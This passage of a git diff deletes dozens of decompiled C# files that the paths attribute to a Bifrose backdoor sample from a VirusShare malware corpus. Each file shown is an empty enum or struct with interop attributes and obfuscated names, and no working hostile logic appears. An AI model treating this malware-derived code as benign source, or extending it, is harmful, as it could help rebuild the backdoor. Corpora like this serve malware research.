-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [NativeCppClass]
- [MiscellaneousBits(64)]
- internal enum \u0081\u0088
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_008B.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_008B.cs
deleted file mode 100644
index dd8b56aa..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_008B.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081\u008B
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0090.cs
deleted file mode 100644
index d013a197..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0090.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0081\u0090
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0093.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0093.cs
deleted file mode 100644
index 400bc59e..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0093.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0081\u0093
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0097.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0097.cs
deleted file mode 100644
index 5cee5191..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0097.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- [NativeCppClass]
- internal enum \u0081\u0097
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_009C.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_009C.cs
deleted file mode 100644
index 31474dfd..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_009C.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- internal enum \u0081\u009C
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081 .cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081 .cs
deleted file mode 100644
index 7f31f685..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081 .cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0081\u00A0
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081§.cs
deleted file mode 100644
index 6f6357b7..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081§.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.§
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [NativeCppClass]
- [MiscellaneousBits(64)]
- internal enum \u0081\u00A7
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081«.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081«.cs
deleted file mode 100644
index cb555c55..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081«.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.«
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081\u00AB
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081³.cs
deleted file mode 100644
index d81828ba..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081³.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.³
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [NativeCppClass]
- [MiscellaneousBits(64)]
- internal enum \u0081\u00B3
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081¹.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081¹.cs
deleted file mode 100644
index 689c40a9..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081¹.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.¹
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- [NativeCppClass]
- internal enum \u0081\u00B9
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Â.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Â.cs
deleted file mode 100644
index 84ad1302..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Â.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.Â
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0081Â
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ç.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ç.cs
deleted file mode 100644
index c46944a8..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ç.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.Ç
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- [NativeCppClass]
- internal enum \u0081Ç
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Î.cs
deleted file mode 100644
index 4113c7c7..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Î.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.Î
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081Î
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Õ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Õ.cs
deleted file mode 100644
index 407af62b..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Õ.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.Õ
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [NativeCppClass]
- [MiscellaneousBits(64)]
- internal enum \u0081Õ
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ü.cs
deleted file mode 100644
index dafe578c..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ü.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.Ü
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081Ü
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ã.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ã.cs
deleted file mode 100644
index ef3e93cb..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ã.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.ã
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081ã
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081æ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081æ.cs
deleted file mode 100644
index 313be291..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081æ.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.æ
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [UnsafeValueType]
- [MiscellaneousBits(65)]
- [NativeCppClass]
- [DebugInfoInPDB]
- [StructLayout(LayoutKind.Sequential, Size = 532)]
- internal struct \u0081æ
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ì.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ì.cs
deleted file mode 100644
index 89e0e2af..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ì.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.ì
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0081ì
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ò.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ò.cs
deleted file mode 100644
index fdf82f6e..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ò.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.ò
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- [NativeCppClass]
- internal enum \u0081ò
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ù.cs
deleted file mode 100644
index 6e90274c..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ù.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.ù
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- internal enum \u0081ù
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0084.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0084.cs
deleted file mode 100644
index 5dc8d855..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0084.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0082\u0084
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0088.cs
deleted file mode 100644
index b345b252..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0088.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [UnsafeValueType]
- [NativeCppClass]
- [MiscellaneousBits(65)]
- [DebugInfoInPDB]
- [StructLayout(LayoutKind.Sequential, Size = 544)]
- internal struct \u0082\u0088
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008A.cs
deleted file mode 100644
index 7faf7377..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008A.cs
+++ /dev/null
